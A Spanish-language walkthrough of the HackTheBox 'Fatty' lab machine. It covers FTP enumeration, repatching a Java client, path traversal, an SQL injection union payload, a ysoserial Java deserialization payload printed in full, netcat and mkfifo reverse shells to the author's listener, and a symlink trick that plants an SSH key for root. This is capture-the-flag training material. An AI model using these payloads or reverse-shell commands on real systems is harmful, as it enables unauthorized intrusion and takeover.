Fatty es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Insane.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Fatty 10.10.10.174 a /etc/hosts como fatty.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 |
# Nmap 7.80 scan initiated Sat May 30 20:43:54 2020 as: nmap -sV -Pn -oA fatty-nmap 10.10.10.174 Nmap scan report for 10.10.10.174 Host is up (0.054s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat May 30 20:44:07 2020 -- 1 IP address (1 host up) scanned in 12.99 seconds |
No detectamos muchos puertos así que comenzaremos analizando el ftp.
Enumeración
Accedemos por ftp al sistema con el usuario anonymous y encontramos tres ficheros de texto y un fichero .jar que procedemos a descargar:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
$ ftp 10.10.10.174 Connected to 10.10.10.174. 220 qtc's development server Name (10.10.10.174:asdf): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 ftp ftp 15426727 Oct 30 2019 fatty-client.jar -rw-r--r-- 1 ftp ftp 526 Oct 30 2019 note.txt -rw-r--r-- 1 ftp ftp 426 Oct 30 2019 note2.txt -rw-r--r-- 1 ftp ftp 194 Oct 30 2019 note3.txt 226 Directory send OK. ftp> get note.txt local: note.txt remote: note.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for note.txt (526 bytes). 226 Transfer complete. 526 bytes received in 0.00 secs (762.1245 kB/s) ftp> get note2.txt local: note2.txt remote: note2.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for note2.txt (426 bytes). 226 Transfer complete. 426 bytes received in 0.00 secs (428.8821 kB/s) ftp> get note3.txt local: note3.txt remote: note3.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for note3.txt (194 bytes). 226 Transfer complete. 194 bytes received in 0.00 secs (200.2676 kB/s) ftp> get fatty-client.jar local: fatty-client.jar remote: fatty-client.jar 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for fatty-client.jar (15426727 bytes). 226 Transfer complete. 15426727 bytes received in 9.02 secs (1.6302 MB/s) ftp> |
Y observamos el contenido de los tres ficheros de texto.
note.txt
1 2 3 4 5 6 7 8 9 10 11 |
Dear members, because of some security issues we moved the port of our fatty java server from 8000 to the hidden and undocumented port 1337. Furthermore, we created two new instances of the server on port 1338 and 1339. They offer exactly the same server and it would be nice if you use different servers from day to day to balance the server load. We were too lazy to fix the default port in the '.jar' file, but since you are all senior java developers you should be capable of doing it yourself ;) Best regards, qtc |
note2.txt
1 2 3 4 5 6 7 8 9 10 11 |
Dear members, we are currently experimenting with new java layouts. The new client uses a static layout. If your are using a tiling window manager or only have a limited screen size, try to resize the client window until you see the login from. Furthermore, for compatibility reasons we still rely on Java 8. Since our company workstations ship Java 11 per default, you may need to install it manually. Best regards, qtc |
note3.txt
1 2 3 4 5 6 7 8 9 10 |
Dear members, We had to remove all other user accounts because of some seucrity issues. Until we have fixed these issues, you can use my account: User: qtc Pass: clarabibi Best regards, qtc |
Y encontramos unas credenciales en el fichero note3.txt:
1 2 |
User: qtc Pass: clarabibi |
Procedemos a ejecutar el fichero .jar que descargamos:
1 |
$ java -jar fatty-client.jar |
Y obtenemos una gui, en la cual nos devuelve un error al intentar acceder con las credenciales obtenidas:
Es un error de conexión así que parece que no llegamos a la máquina destino, procederemos entonces a analizar el contenido del fichero .jar y para ello utilizaremos la herramienta jd-gui y encontramos unos datos de conexión en el fichero beans.xml
Donde observamos lo siguiente:
1 2 3 4 |
<bean id="connectionContext" class = "htb.fatty.shared.connection.ConnectionContext"> <constructor-arg index="0" value = "server.fatty.htb"/> <constructor-arg index="1" value = "8000"/> </bean> |
Así que siguiendo estos datos de conexión y los datos del fichero note.txt visto anteriormente, necesitaremos acceder a través del puerto local 8000 al puerto 1337 del servidor, por lo que utilizaremos simpleproxy para redireccionar este trafico:
1 |
$ simpleproxy -L 8000 -R 10.10.10.174:1337 |
Y posteriormente volveremos a probar la conexión, consiguiendo en este caso loguearnos con las credenciales del fichero note3.txt:
Una vez dentro de la aplicación observamos varias opciones dentro del mismo como por ejemplo la opción de whoami:
O la obtención de un listado de ficheros en varios directorios, así como el contenido de los mismos.
Probaremos a ver si la misma es vulnerable a LFI aunque al intentarlo nos devuelve un error de que no encuentra el fichero:
Pero al menos ya sabemos que la ruta donde se encuentran los ficheros es /opt/fatty.
Analizamos de nuevo el contenido mediante jd-gui, y encontramos la función utilizada para listar los directorios, así que, en nuestro caso, utilizaremos eclipse junto con el plugin jd-eclipse para poder debuguear el mismo y cambiar algunas variables en tiempo de ejecución.
Encontramos entonces la función vulnerable para el listado de directorios:
1 |
Invoker.java:showFiles(String folder) |
Por lo que establecemos un breakpoint sobre la misma y en el momento de listar el directorio cambiamos el valor de la variable “folder” por “..”
consiguiendo listar el contenido de la ruta /opt/fatty:
Encontramos varias rutas interesantes pero destacamos otro fichero jar llamado fatty-server.jar, así que editaremos el código de la aplicación para poder descargar el mismo y analizarlo.
No voy a poner las modificaciones realizadas en este post, pero sí el método para decompilar y compilar de nuevo nuestro jar. Cabe destacar que el fichero jar está compilado con java8 por lo que deberemos de utilizar la misma versión para compilarlo nuevamente.
Para decompilar el jar podemos utilizar:
1 |
jar -xf fatty-client.jar |
Realizaremos las modificaciones oportunas sobre los ficheros y compilaremos de nuevo nuestro fichero .java con:
1 |
$ javac8 -classpath <initial jar> <.java file> |
Y construiremos nuestro fichero .jar:
1 |
jar cmf <manifest file> <new jar name> ./* |
En este punto, será necesario eliminar las firmas de ficheros, para ello eliminaremos los ficheros con extensión SF y RSA con el siguiente comando:
1 |
zip -d yourjar.jar 'META-INF/.SF' 'META-INF/.RSA' 'META-INF/*SF' |
Y ejecutaremos nuestro jar para descargar el fichero fatty-server.jar.
Analizando el contenido de este segundo jar, encontramos una vulnerabilidad de inyección SQL en la siguiente función:
1 2 3 4 |
FattyDbSession.java:checkLogin(User user) : ... rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'"); ... |
Por lo que podremos utilizar la misma para conseguir escalar en la aplicación con privilegios de admin.
Después de revisar a fondo los ficheros.jar, los logs obteniedos de la modificación previa en el cliente y de hacer muchas pruebas de inyección SQL logramos obtener una consulta satisfactoria:
1 |
asd' union select 111,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin |
Que ejecutada, daría lugar a la siguiente consulta en el servidor:
1 |
SELECT id,username,email,password,role FROM users WHERE username='asd' union select 111,'qtc','qtc@fatty.htb','pass_hash','admin' |
Pero además de esto, necesitaremos editar el valor del hash en la función:
1 |
User.java:setPassword(String password) |
Con el valor de nuestro “pass_hash” para evitar que la aplicación genere un nuevo hash por sí misma.
Una vez editado y enviado consegiumos acceder a la aplicación con el usuario admin:
Y vemos como tenemos disponibles el resto de funciones que antes teníamos deshabilitadas.
Continuamos revisando el código y las opciones disponibles y observamos que la opción de cambio de password no está implementada en el cliente por lo que comenzamos a investigar acerca de la misma.
Y encontramos la siguiente vulnerabilidad en la función:
1 |
Commands.java:changePW(ArrayList<String> args, User user) : |
Y cuyo código es:
1 2 3 4 5 6 7 8 |
String b64User = args.get(0); byte[] serializedUser = Base64.getDecoder().decode(b64User.getBytes()); ByteArrayInputStream bIn = new ByteArrayInputStream(serializedUser); try { ObjectInputStream oIn = new ObjectInputStream(bIn); User user1 = (User)oIn.readObject(); // vulnerable deserialization } |
Con la vulnerabilidad de deserialización descubierta encontramos el siguiente post en google:
Donde explica en detalle esta vulnerabilidad.
Para ello necesitaremos que exista la librería de commons-collections así que revisamos si la misma existe en el fichero fatty-server.jar:
1 2 |
$ grep -Ri "commons\/collections" . Coincidencia en el fichero binario ./fatty-server.jar |
La tenemos así que revisamos la función de changePW y vemos que no está completamente implementada por lo que necesitaremos editar el código para poder utilizar la misma y compilar de nuevo el fichero jar para poder hacer uso de ella, así que llamaremos a la función, en nuestro caso desde la función de contact para forzar su ejecución.
Necesitaremos generar nuestro payload, por lo que utilizaremos la herramienta ysoserial indicada en el post donde explicaba como realizar el ataque de deserialización.
1 2 3 |
$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'nc 10.10.14.26 4444 -e /bin/sh' | base64 -w0 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAHm5jIDEwLjEwLjE0LjI2IDQ0NDQgLWUgL2Jpbi9zaHQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg= |
Completado este paso nos queda enviarlo al servidor para obtener la shell en nuestra escucha.
Obteniendo la flag de user
Una vez enviado nuestro payload, obtenemos acceso en nuestra escucha:
1 2 3 4 5 6 7 8 9 10 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.26] from fatty.htb [10.10.10.174] 39709 id uid=1000(qtc) gid=1000(qtc) groups=1000(qtc) ls -l total 4 ---------- 1 qtc qtc 33 Oct 30 2019 user.txt chmod +r user.txt cat user.txt |
Y conseguimos la flag de user.
Escalado de privilegios
La shell obtenida en el último paso es bastante limitada, así que utilizaremos mkfifo con nc para conseguir una shell más completa:
1 |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.26 1234 >/tmp/f |
Y obtenemos la shell en nuestra escucha:
1 2 3 4 5 6 7 |
$ nc -lvp 1234 listening on [any] 1234 ... connect to [10.10.14.26] from fatty.htb [10.10.10.174] 34479 /bin/sh: can't access tty; job control turned off 2f265ce12800:/$ id uid=1000(qtc) gid=1000(qtc) groups=1000(qtc) 2f265ce12800:/$ |
Analizamos la máquina sobre la cual tenemos shell y observamos que estamos dentro de un contenedor de docker:
1 2 3 4 5 6 7 8 9 10 |
2f265ce12800:/$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 9: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP link/ether 02:42:ac:1c:00:03 brd ff:ff:ff:ff:ff:ff inet 172.28.0.3/16 brd 172.28.255.255 scope global eth0 valid_lft forever preferred_lft forever 2f265ce12800:/$ |
Enumeramos el sistema con LinEnum pero tampoco obtenemos mucha información y utilizamos pspy64 para obtener los procesos del sistema y obtenemos uno interesante:
Cada pocos minutos se ejecuta el comando:
1 |
scp -f /opt/fatty/tar/logs.tar |
Que copia el fichero logs.tar del contenedor al host en una ruta desconocida (no hemos podido encontrar la misma), pero podría ser un medio para conseguir el escalado a root.
Crearemos un enlace a /root/.ssh/authorized_keys como logs.tar con la idea de que el sistema al obtener el fichero lo descomprima, creando así nuestro enlace:
1 2 3 4 5 6 7 8 9 |
2f265ce12800:/tmp$ ln -s /root/.ssh/authorized_keys logs.tar 2f265ce12800:/tmp$ ls -l total 4 prw-r--r-- 1 qtc qtc 0 Jun 3 11:11 f drwxr-xr-x 2 qtc qtc 4096 Jun 2 18:16 hsperfdata_qtc lrwxrwxrwx 1 qtc qtc 26 Jun 3 11:11 logs.tar -> /root/.ssh/authorized_keys 2f265ce12800:/tmp$ tar cvf logs_tmp.tar logs.tar logs.tar 2f265ce12800:/tmp$ cp logs_tmp.tar /opt/fatty/tar/logs.tar |
Esperaremos a que se ejecute de nuevo el comando y cree nuestro enlace y, una vez creado cambiaremos el contenido del fichero /opt/fatty/tar/logs.tar con nuestra clave pública creada previamente para esta máquina con la idea de que en la próxima ejecución, al haberse creado el enlace a /root/.ssh/authorized_keys, se incluya nuestra clave en el mismo.
Obteniendo la flag de root
Esperamos a que se realice la ejecución y ya sólo nos queda acceder por ssh a la máquina como root con la clave añadida:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ ssh -i fatty-root.pem root@10.10.10.174 Linux fatty 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jan 29 12:31:22 2020 root@fatty:~# id uid=0(root) gid=0(root) groups=0(root) root@fatty:~# ls -l total 24 drwxr-xr-x 4 root root 4096 Jun 3 13:46 client1 drwxr-xr-x 4 root root 4096 Jun 3 13:46 client2 drwxr-xr-x 4 root root 4096 Jun 3 13:46 client3 -rw-r--r-- 1 root root 274 Jun 3 13:46 log-puller.log -rwxr-xr-x 1 root root 2224 Oct 30 2019 log-puller.sh -rw------- 1 root root 33 Oct 30 2019 root.txt root@fatty:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792